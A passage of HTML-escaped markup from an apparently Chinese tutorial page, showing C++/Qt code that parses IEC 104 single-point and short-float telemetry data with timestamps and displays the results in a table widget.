&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;address&amp;nbsp;=&amp;nbsp;InformationObject_getObjectAddress((InformationObject)&amp;nbsp;io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//数据值
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;value&amp;nbsp;=&amp;nbsp;SinglePointInformation_getValue(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SinglePointInformation_destroy(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QVariantHash&amp;nbsp;vh;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;address&amp;quot;]&amp;nbsp;=&amp;nbsp;address;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;value&amp;quot;]&amp;nbsp;=&amp;nbsp;value&amp;nbsp;?&amp;nbsp;1:0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;type&amp;quot;]&amp;nbsp;=&amp;nbsp;typeStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;cause&amp;quot;]&amp;nbsp;=&amp;nbsp;causeStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;qu&amp;quot;]&amp;nbsp;=&amp;nbsp;quStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;time&amp;quot;]&amp;nbsp;=&amp;nbsp;time;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//将解析后的数据打印
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;that-&amp;gt;loadTable(vh);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}}&lt;/pre&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;20x0E0x24_69&quot;&gt;&lt;/a&gt;2.解析短浮点遥测数据（类型标识0x0E,0x24）&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;代码示例:&lt;/p&gt;&lt;pre data-index=&quot;1&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;else&amp;nbsp;if(typeId&amp;nbsp;==M_ME_TF_1&amp;nbsp;||&amp;nbsp;typeId==M_ME_TC_1){&amp;nbsp;//短浮点遥测带时标
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CP56Time2a&amp;nbsp;newTime;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr&amp;nbsp;=&amp;quot;长时标短浮点遥测&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;float&amp;nbsp;value;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//按数据量逐个解析遥测数据
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;(int&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;nums;&amp;nbsp;i++)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MeasuredValueShortWithCP56Time2a&amp;nbsp;iotm&amp;nbsp;=(MeasuredValueShortWithCP56Time2a)&amp;nbsp;CS101_ASDU_getElement(asdu,&amp;nbsp;i);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MeasuredValueShort&amp;nbsp;io&amp;nbsp;=(MeasuredValueShort)&amp;nbsp;CS101_ASDU_getElement(asdu,&amp;nbsp;i);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(io==nullptr){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;that-&amp;gt;showMessageSignal(QString(&amp;quot;解析%1数据错误,序号=%2&amp;quot;).arg(typeStr).arg(i),-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;continue;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//品质
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;qu&amp;nbsp;=&amp;nbsp;MeasuredValueShort_getQuality(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;quStr&amp;nbsp;=&amp;nbsp;that-&amp;gt;m_quMap.value(qu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(quStr.isEmpty())
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;quStr=QString(&amp;quot;异常(0x%1)&amp;quot;).arg(qu,2,16,QLatin1Char(&amp;#39;0&amp;#39;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//地址
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;address&amp;nbsp;=&amp;nbsp;InformationObject_getObjectAddress((InformationObject)&amp;nbsp;io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//数据值
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;value&amp;nbsp;=&amp;nbsp;MeasuredValueShort_getValue(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//数据时间
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newTime&amp;nbsp;=&amp;nbsp;MeasuredValueShortWithCP56Time2a_getTimestamp(iotm);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;typeId==M_ME_TC_1){//短时标
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr&amp;nbsp;=&amp;quot;短时标短浮点遥测&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;time&amp;nbsp;=&amp;nbsp;QString(&amp;quot;%5:%6.%7&amp;quot;).arg(CP56Time2a_getMinute(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getSecond(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getMillisecond(newTime),3,10,QLatin1Char(&amp;#39;0&amp;#39;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else//长时标
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;time&amp;nbsp;=&amp;nbsp;QString(&amp;quot;%1-%2-%3&amp;nbsp;%4:%5:%6.%7&amp;quot;).arg(CP56Time2a_getYear(newTime)&amp;nbsp;+&amp;nbsp;2000)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getMonth(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getDayOfMonth(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getHour(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getMinute(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getSecond(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getMillisecond(newTime),3,10,QLatin1Char(&amp;#39;0&amp;#39;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MeasuredValueShort_destroy(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MeasuredValueShortWithCP56Time2a_destroy(iotm);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QVariantHash&amp;nbsp;vh;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;address&amp;quot;]&amp;nbsp;=&amp;nbsp;address;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;value&amp;quot;]&amp;nbsp;=&amp;nbsp;QString::number(value,&amp;#39;f&amp;#39;,2);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;type&amp;quot;]&amp;nbsp;=&amp;nbsp;typeStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;cause&amp;quot;]&amp;nbsp;=&amp;nbsp;causeStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;qu&amp;quot;]&amp;nbsp;=&amp;nbsp;quStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;vh[&amp;quot;time&amp;quot;]&amp;nbsp;=&amp;nbsp;time;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//将解析后的数据打印到列表
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;that-&amp;gt;loadTable(vh);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/pre&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;3_124&quot;&gt;&lt;/a&gt;3.打印报文和解析后的数据&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;代码示例：&lt;/p&gt;&lt;pre data-index=&quot;2&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;void&amp;nbsp;MainWindow::loadTable(QVariantHash&amp;nbsp;vh){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;address&amp;nbsp;=&amp;nbsp;vh.value(&amp;quot;address&amp;quot;).toInt();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;value&amp;nbsp;=&amp;nbsp;vh.value(&amp;quot;value&amp;quot;).toString();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;quStr&amp;nbsp;=&amp;nbsp;vh.value(&amp;quot;qu&amp;quot;).toString();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;causeStr&amp;nbsp;=&amp;nbsp;vh.value(&amp;quot;cause&amp;quot;).toString();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;typeStr&amp;nbsp;=&amp;nbsp;vh.value(&amp;quot;type&amp;quot;).toString();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;time&amp;nbsp;=&amp;nbsp;vh.value(&amp;quot;time&amp;quot;).toString();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;showMessageSignal(QString(&amp;quot;类型：%1，原因：%2，地址：%3，值：%4，品质：%5，时间：%6&amp;quot;).arg(typeStr).arg(causeStr).arg(address).arg(value).arg(quStr).arg(time),1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(m_addrHash.contains(address)){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;row&amp;nbsp;=&amp;nbsp;m_addrHash.value(address)-&amp;gt;row();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QTableWidgetItem&amp;nbsp;*item1&amp;nbsp;=&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;item(row,1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QTableWidgetItem&amp;nbsp;*item2&amp;nbsp;=&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;item(row,2);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QTableWidgetItem&amp;nbsp;*item3&amp;nbsp;=&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;item(row,3);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QTableWidgetItem&amp;nbsp;*item4&amp;nbsp;=&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;item(row,4);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QTableWidgetItem&amp;nbsp;*item5&amp;nbsp;=&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;item(row,5);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(item1!=nullptr&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;item2!=nullptr&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;item3!=nullptr&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;item4!=nullptr&amp;nbsp;&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;item5!=nullptr){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;item1&amp;nbsp;-&amp;gt;setData(Qt::DisplayRole,value);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;item2&amp;nbsp;-&amp;gt;setData(Qt::DisplayRole,typeStr);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;item3&amp;nbsp;-&amp;gt;setData(Qt::DisplayRole,causeStr);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;item4&amp;nbsp;-&amp;gt;setData(Qt::DisplayRole,quStr);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;item5&amp;nbsp;-&amp;gt;setData(Qt::DisplayRole,time);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;rows&amp;nbsp;=&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;rowCount();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;insertRow(rows);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QTableWidgetItem&amp;nbsp;*item&amp;nbsp;=&amp;nbsp;new&amp;nbsp;QTableWidgetItem;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;item&amp;nbsp;-&amp;gt;setData(Qt::DisplayRole,address);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;setItem(rows,0,item);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;row&amp;nbsp;=&amp;nbsp;item-&amp;gt;row();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;m_addrHash.insert(address,item);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;setItem(row,1,new&amp;nbsp;QTableWidgetItem(value));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;setItem(row,2,new&amp;nbsp;QTableWidgetItem(typeStr));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;setItem(row,3,new&amp;nbsp;QTableWidgetItem(causeStr));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;tableWidget-&amp;gt;setItem(row,4,new&amp;nbsp;QTableWidgetItem(quStr));
